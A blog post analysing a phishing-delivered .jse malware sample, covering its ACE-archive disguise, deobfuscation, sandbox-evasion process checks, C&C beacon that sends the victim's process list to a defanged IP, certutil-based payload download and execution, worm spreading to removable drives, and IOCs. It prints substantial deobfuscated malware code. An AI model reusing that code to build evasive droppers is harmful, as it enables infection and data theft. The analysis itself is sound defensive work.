sandbox evasion for a .jse malware

1/ source email

I was sitting in front of my PC playing SoulCalibur. An IRC window popped up, with one of my friend saying:

"Hey, you should check this strange email I've received. I don't know what's in it, I'm not a customer of this company".

The mail was a classical email with the text: "you got an invoice, please check and pay" (sort of). The
attachment was 1&1.pdf.facture.rar (facture means invoice in french).

I quickly tell him that it was highly suspicious, that he must trash this mail, and I dig into it.

2/ Analysis

2/1/ First analysis

The file seems to have some interesting anti-sandbox techniques. Sandboxes are equipment placed in front of email server, dedicated to malware analysis. Your mail is sent through those big boxes, email attachments are extracted, unzipped, then sent to a windows VM in order to analyze what this file will
do to the computer. Thoses boxes are mainly linux boxes, which is a point to keep in mind.

The 1&1.pdf.facture.rar file has some interesting characteristics:

mitsurugi@dojo:~/chall/infected/kukushka$ file 1\&1.pdf.facture.rar 
1&1.pdf.facture.rar: ACE archive data version 20, from Win/32, version 20 to extract, contains AV-String (unregistered), with recovery record, solid
mitsurugi@dojo:~/chall/infected/kukushka$ # So it's an "ace" file
mitsurugi@dojo:~/chall/infected/kukushka$ mv 1\&1.pdf.facture.rar suspicious.ace
mitsurugi@dojo:~/chall/infected/kukushka$ ls -l suspicious.ace 
-rw-r--r-- 1 mitsurugi mitsurugi 102481 oct.  23 15:58 suspicious.ace
mitsurugi@dojo:~/chall/infected/kukushka$ unace l suspicious.ace 
UNACE v1.2    public version

Processing archive: suspicious.ace

Authenticity Verification:
created on 10.10.2017 by *UNREGISTERED VERSION*

Date    |Time |Packed     |Size     |Ratio|File

                         0|        0| 100%| 0 files

mitsurugi@dojo:~/chall/infected/kukushka$ 

This file contains ... nothing (?) It's obviously a false positive. My best guess is that the spammer wants to confuse sandboxes. If you don't have any file to analyze, sandbox couldn't tell if the file is infected :)

But one question remains, why the name of the file ends in .rar and not .ace? The .ace extension is not widely used under windows. Renaming it .rar can extends the availibilty of the spam campaign,
and yes, winrar under windows extracts the file too.
This is a really nice anti-sandbox trick :)

As you can guess, there is indeed something:

mitsurugi@dojo:~/chall/infected/kukushka$ strings suspicious.ace | head -5
**ACE**
*UNREGISTERED VERSION*
1&1.pdf.facture.jse,
*M4D
?p}q
mitsurugi@dojo:~/chall/infected/kukushka$

You have to boot a windows machine, download winace (or winrar) and unzip the file. Warning, a misclick could infect your machine.

Once extracted, you can see that the file is a .jse (javascript encoded file):

mitsurugi@dojo:~/chall/infected/kukushka/take2$ hexdump -C suspicious.jse | head
00000000  23 40 7e 5e 52 43 49 47  41 41 3d 3d 56 21 33 3b  |#@~^RCIGAA==V!3;|
00000010  6b 74 30 6c 6b 09 59 4b  31 59 7b 24 7b 47 2b 7e  |kt0lk.YK1Y{${G+~|
00000020  71 54 4f 54 69 30 3b 33  21 2f 74 30 43 32 6c 31  |qTOTi0;3!/t0C2l1|
00000030  33 6d 6f 6e 2c 71 4f 7b  24 7b 2c 52 53 2a 5a 25  |3mon,qO{${,RS*Z%|
00000040  44 49 30 45 33 3b 64 34  33 43 68 4b 3b 5e 4e 30  |DI0E3;d43ChK;^N0|
00000050  44 27 5d 76 76 79 7e 57  71 54 70 7f 6e 44 7f 59  |D']vvy~WqTp.nD.Y|
00000060  78 6a 44 44 6b 09 4c 24  72 2d 36 2b 7f 77 36 46  |xjDDk.L$r-6+.w6F|
00000070  20 27 36 7f 73 77 61 2b  66 77 36 57 66 2d 58 76  | '6.swa+fw6Wf-Xv|
00000080  30 77 58 76 46 77 61 46  20 77 36 57 66 27 36 7f  |0wXvFwaF w6Wf'6.|
00000090  77 2d 58 76 63 27 36 2b  58 4a 59 69 57 45 09 6d  |w-Xvc'6+XJYiWE.m|
mitsurugi@dojo:~/chall/infected/kukushka/take2$

This file can be extracted to a plain .js file thanks to a decoder:
https://gist.github.com/bcse/1834878

We have a long file, 400kb long without any carriage return.

mitsurugi@dojo:~/chall/infected/kukushka/take2$ wc suspicious.jse
     0   8881 402013 suspicious.jse
mitsurugi@dojo:~/chall/infected/kukushka/take2$

2/2/ desobfuscating js file

The file can be beautified with a site like jsbeautifier.org, and we can see that it's obfuscated:

kukushkainto9t = [776, 109];
kukushkapackage91t = [798, 508];
kukushkawould8t = [662, 41];
Weret = String["\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"];

function Pesen(a) {
    return a.length;
};
kukushkahelp13t = [885, 31];
kukushkabecome59t = [389, 210];
kukushkaonly52t = [570, 520];
kukushkaTeaching44t = [63, 64];
kukushkacome84t = [563, 237];
kukushkaknow23t = [83, 120];
kukushkaknowledge24t = [689, 726];
kukushkaacquired16t = [291, 172];
kukushkalifeNurturing10t = [695, 606];
kukushkateacher32t = [171, 621];
kukushkabooksDIRECTORDirectorate89t = [156, 498];
kukushkayes17t = [230, 612];
var kukushkaface35t = 0.708;
var kukushkasoft34 = this[(function hkai_7hk9() {
        kukushkaregards76t = 'Lake10';
        kukushkahave12t = 'about76';
        return Weret(64 ^ Pesen(arguments));
    })('holes94', 'that46', 'wife5', 'picking16', 'What99') + (..400kB long like this...)

It's time to deobfuscate. With 400kB, you can't do it by hand, you have
to automatize things. Find obfuscation patterns, remove them and iterate.

Main steps are:
a) renaming utf8 vars to ascii:
var\ u0073\ u0063\ u0072\ u0031\ u0070\ u0061\ u0074\ u0068 = kukushkavocabulary3to30[(function hkae_5hkaT4() {

This can be done automatically:
var scr1path = kukushakvaocabulary3to30 

b) calculating Weret, pesen and easy functions:

Weret is the function "fromCharCode"

Weret = String["\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"];

function Pesen(a) {
    return a.length;
};
(function hkai_7hk9() {
     kukushkaregards76t = 'Lake10';
     kukushkahave12t = 'about76';
     return Weret(64 ^ Pesen(arguments));
  })('holes94', 'that46', 'wife5', 'picking16', 'What99')

the first two vars are useless, the end is just length of arguments xored with a constant. In the end, this is fromCharCode(64 XOR 5) = 'E'

This structure comes really often, we can automatize it with regexp, extraction evaluation of js code and replacement.

c) Evaluating long vars
and we have a lot of var name and expression splitted in pieces:
var kukushkatoto42 = "E" + "r" + "r" + and so on..

This is not really hard to deobfuscate, just take times. It can be automatized.

d) repeat
We repeat all those simplifications with some python scripts.

e) simplification
Here is the stripped down version of the .js file

mitsurugi@dojo:~/chall/infected/kukushka/take2$ wc *js
   9947   49021  630068 simplified0.js
   9947   47780  621653 simplified1.js
   5584   26049  328812 simplified2.js
   3186   14345  185647 simplified3.js
   3081   13770  178223 simplified4.js
   3034   13566  176057 simplified5.js
   1331    6580   96156 simplified6.js
    457    3089   28791 simplified7.js
    457    2286   25936 simplified8.js
    435    2175   24069 simplified9.js
    322    1854   21089 simplified9-manual0.js
    286    1127   15156 simplified9-manual1.js
    307    1113   14922 simplified9-manual2.js
    280    1032   14040 simplified9-manual3.js
mitsurugi@dojo:~/chall/infected/kukushka/take2$

2/3/ cleaned up and disarmed

For reference, You can see in git a disarmed version of the js file. This js file doesn't do any harm. All risky things are commented out. There is also a zip file with every steps. (pass: infected, warning, this is malware)

3/ Program analysis

You can see the program as a big while(true) loop:

-Checks the location of .jse file
-While true loop
  Get process list, OS and username
  Check for some well known analysis tools (and exit if yes)
  Copy itself to startup folder
  -While true loop
    Connect to C&C
    Get file
    If WORM_MODE, then replace all file in removable drives byt iself
    Exec file downloaded previously

3/1/ startup

At start, the jse file checks if it was launched from the Start Menu\Programs\Startup\ folder and if it has the name adobe_upd.jse.

In any case, it throws a fake error message then continue (all comments are mine).

/* [+] JSEFILE is C:\Users\mitsurugi\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\adobe_upd.jse */
try {
    if (scr1path != JSEFILE) {
       objFile = FSObject["OpenTextFile"](scr1path, 1, false, 0);
       mybodyhere = objFile["ReadLine"]();
       objFile["Close"]();
       FILENAMEisBAD = true;
       if (SHOW_ERROR) ObjectWscriptShell["Popup"]("scr1path is not JSEFILE!!", 10, "Error", 16);
       if (FSObject["FileExists"](JSEFILE)) {
     /* In case user launch another time the file by double clicking on it?*/
           this.WScript["Quit"](1);
        }
    } else {}
} catch (WSdrFgyvb) {
    ObjectWscriptShell["Popup"]("A File Error has Occurred", 5, "Error", 16);
}

It makes the a huge iteration:

while (16) {             /* While True */
    gokolp0 = "low";     /* gokolp0 is never used elsewhere */
    Counter = Counter + 1;
    if (Counter == 2040000) {
      /* all malware code */
    }
}

Once again, it can be seen as an antidebug techniques. Some sandbox and antivirus checks the
file for a specific time. To avoid "Sleep()" function, they often hook the sleep's to
accelerate time. With a loop like this, there nothing you can hook to accelerate time.

3/2/ Get a lot of information from victim

The script uses wmi to grab all of information needed:

var obj00WMI = this.GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2");
var ProcessList = new this.Enumerator(obj00WMI["ExecQuery"]("Select * from Win32_Process"));
var Win32OSList = new this.Enumerator(obj00WMI["ExecQuery"]("Select * from Win32_OperatingSystem"));

It checks this list for exitingi (option9 == -1) (comments are my own):
 if (ProcessPathAndName["indexOf"]("Procmon") != option9 ||
     ProcessPathAndName["indexOf"]("Wireshark") != option9 ||
     ProcessPathAndName["indexOf"]("Temp\\iexplore.exe") != option9 ||
     ProcessPathAndName["indexOf"]("ProcessHacker") != option9 ||
     ProcessPathAndName["indexOf"]("vmtoolsd") != option9 ||
     ProcessPathAndName["indexOf"]("VBoxService") != option9 ||
     ProcessPathAndName["indexOf"]("python") != option9 ||
     ProcessPathAndName["indexOf"]("Proxifier.exe") != option9 ||
     ProcessPathAndName["indexOf"]("Johnson") != option9 ||
     ProcessPathAndName["indexOf"]("ImmunityDebugger.exe") != option9 ||
     ProcessPathAndName["indexOf"]("lordPE.exe") != option9 ||
     ProcessPathAndName["indexOf"]("ctfmon.exe*JOHN-PC") != option9 ||
     ProcessPathAndName["indexOf"]("BehaviorDumper") != option9 ||
     ProcessPathAndName["indexOf"]("antivirus.EXE") != option9 ||   /* ??? antivirus.EXE?? */
     ProcessPathAndName["indexOf"]("AgentSimulator.exe") != option9 ||
     ProcessPathAndName["indexOf"]("VzService.exe") != option9 ||
     ProcessPathAndName["indexOf"]("VBoxTray.exe") != option9 ||
     ProcessPathAndName["indexOf"]("VmRemoteGuest") != option9 ||
     ProcessPathAndName["indexOf"]("SystemIT|admin") != option9 ||
     ProcessPathAndName["indexOf"]("WIN7-TRAPS") != option9 ||
     ProcessPathAndName["indexOf"]("Emily\\AppData") != option9)  /*Who's Emily? */
     {
       reader["alert"]("Screw you guys, Im going home!!!!");
 /* "reader" (?) seems undefined */
       this.WScript["quit"](1);
     }

As you can guess, all of those process path and name are related to analyis environments

3/3/ Calling C&C

The C&C has the real address. It's obfuscated for the blogpost

url_ppp = "hxxps://185[.]159.82[.]50:9500/XA/mijagi.php?netuid=bugaga&add=2097d7b063d6f8b5cc803abf3df758aa";
url_ppp = url_ppp + "&u=" + Math["abs"](kukushkaships15) + "&o=" + kukushkatouches96 + "&v=" + icount + "&s=1994";
msxmlXMLHTTP["open"]("POST", url_ppp, false);
if (FILENAMEisBAD) {
  /* At first, Filename is bad because it is not in startup folder
  So we sent our name and list of processes */
  msxmlXMLHTTP["send"](ProcessPathAndName);
} else {
  /* This is the part when the jse is in the autostart folder */
  msxmlXMLHTTP["send"]();
}

• The netuid and add parameter are hardcoded.
• The kukushkaships15 depends of the length of the path of the jse file.
• The o parameter depends of many things (0 at first, can be 9999, 45, 46, 47, or 9)
• The v parameter is 10 or 20
• The s parameter is Random

The interesting part is that it sends all of your data (Process list, OS version and name) to the C&C at the first loop iteration. Maybe the botmaster tracks stats of its emailing?

The feedback from the C&C is given through an HTTP-Header (!)

if (msxmlXMLHTTP["status"] == 200) {
if (kukushkatouches96 == 0) {
try {
  if (msxmlXMLHTTP["getResponseHeader"]("you_god_damn_right") == '0') {
  file1path = JSEFILE;
  option9 = 0;   /* discriminate based on the response */
}
} catch (WSdrFgyvb) {}

try {
  if (msxmlXMLHTTP["getResponseHeader"]("you_god_damn_right") == ("1")) {
  option9 = 1;   /* Guess it's the exe */
}
} catch (WSdrFgyvb) {}

try {
  if (msxmlXMLHTTP["getResponseHeader"]("you_god_damn_right") == ("2")) {
  option9 = 2;  /* Or the text to be passed to certutil */
}
} catch (WSdrFgyvb) {}

try {
if (msxmlXMLHTTP["getResponseHeader"]("Content-Transfer-Encoding") == "binary") {
  ADODBStream["Open"]();
  ADODBStream["Type"] = 1;
  ADODBStream["Write"](msxmlXMLHTTP["responseBody"]);
  ADODBStream["Position"] = 0;
  ADODBStream["SaveToFile"](file1path, 2);  /*file1path rnd name.exe */
  ADODBStream["Close"]();
} else {
if (CCresponseText.length > 10);
  objFile = FSObject["CreateTextFile"](TEMPFOLDER_file_mtm, true, false); /*mtm file */
  objFile["WriteLine"](CCresponseText);
  objFile["Close"]();
  this.WScript["Sleep"](5000);
  shellApp["ShellExecute"]("certutil", "-f -decode" + TEMPFOLDER_file.mtm + ("") + charq + file1path + charq, '', "open", 0);
}
}

We understand that server can send either a binary file (.exe) or a base64 one.

3/3/ Wormisation

This file has wormable capabilities. It search for any removable drives, and duplicate its .jse contents to any file ending in
var FileExtTargets ="*.doc*.xls*.pdf*.rtf*.txt*.pub*.odt*.ods*.odp*.odm*.odc*.odb*.wps*.xlk*.ppt*.mdb*.accdb*.pst*.dwg*.dxf*.dxg*.wpd";

The file content is wiped, replaced by the jse content, and file extension is replaced by .jse.

This is not really a stealthy way to propagate, but it can works.

3/4/ Code execution

Finally, the .jse tries to launches the exe file.
option9 is given by the server header.

switch (option9) {
case -1:
 shellApp["ShellExecute"]("cmd", "/c start " + file1path, '', "open", exit123);
 kukushkatouches96 = 45;
 break;
case 0:
 shellApp["ShellExecute"]("cmd", "/c start " + file1path, '', "open", exit123);
 kukushkatouches96 = 46;
 break;
case 1:
 shellApp["ShellExecute"]("rundll32", charq + file1path + charq + " secretFunction", '', "open", exit123);
 kukushkatouches96 = 47;
 break;
case 2:
 shellApp["ShellExecute"]("taskkill", "/f /t /im chrome.exe", '', "open", 0);\
 shellApp["ShellExecute"](file1path, "/silent /install", '', "runas", 1);
 kukushkatouches96 = 48;
 break;
}

So, the downloaded file seems to be a plain exe, a dll and an installer which must kill Chrome
before installing (?)

3/5/ Fun stuff

As usual in worms/malware, you can find funny strings:
reader["alert"]("Screw you guys, Im going home!!!!");
It can be a reference to South Park

When server sends data, there is an header:
if (msxmlXMLHTTP["getResponseHeader"]("you_god_damn_right") == ("2")) {
and the wormable part uses a temp filename called "saymyname"

It seems we have a fan of breaking bad here.

The obfuscation makes an heavy use of kukushka to prefix variable names. kukushka means cuckoo in russian. Don't know what to conclude here.

4/ Get the files

I've used my disarmed file to get the files, but didn't succeeded. At the time of writing this blog, the server doesn't respond anymore, so the campaign is finished I guess.
As this file makes a lot of antidebug techniques, I don't think you can easily get the files. All parameters depends on something, you have strict timers. Maybe server part checks everything and sends only file to specific targets. I used my disarmed js file instead of making some wget for those reason.

In Virustotal, you have the first occurence of the file the 10 of October, the viral detection beguns the 13:
https://www.virustotal.com/#/file/e5fcb6e3ecbd08e18445d04edb84384eadff13cd01e91b737fcc2f0fb1b4d10d/detection  (suspicious.ace file)

https://www.virustotal.com/#/file/224ad333eb3b27056b968c453ad007aa5a4a613730da767937c7c2511bf2b84f/detection  (suspicious jse file)

https://www.virustotal.com/#/ip-address/185.159.82.50
This one is interesting because someone tries to analyze https://185[.]159.82[.]50:9500/DA/mijagi.php?netuid=bugaga which is only a part of the requests made to the C&C. May be someone deobfuscating the .jse and who doesn't saw that there is more in parameteres

5/ IOCs

It seems pretty useless to block the IP.
Strangely, the header name you_god_damn_right seems more reliable. You can find other occurence of it in the googleweb:

https://community.spiceworks.com/topic/1954953-file-ext-changed-to-jse  (go to the end of the post)
Date: Sep 2 2017

https://www.hybrid-analysis.com/sample/9157e7ed6aa77da3575cbbc32e3c2c5fd7074e9ffe326b96b0cbefa897f8c581?environmentId=100
Date: August 2017

http://ddecode.com/hexdecoder/?results=bed2e8df3925d8712bb1d2ba55cb9063
(no date)

https://securite.intrinsec.com/2017/05/16/exercice-de-desobfuscation-dun-jse-par-le-cert-intrinsec/ (in french) in may 2107.

So, if you have an appliance in your network making SSL analysis, you could check if some HTTP servers sends an header 'you_god_damn_right' and block it. It can helps you without any risk of false positive.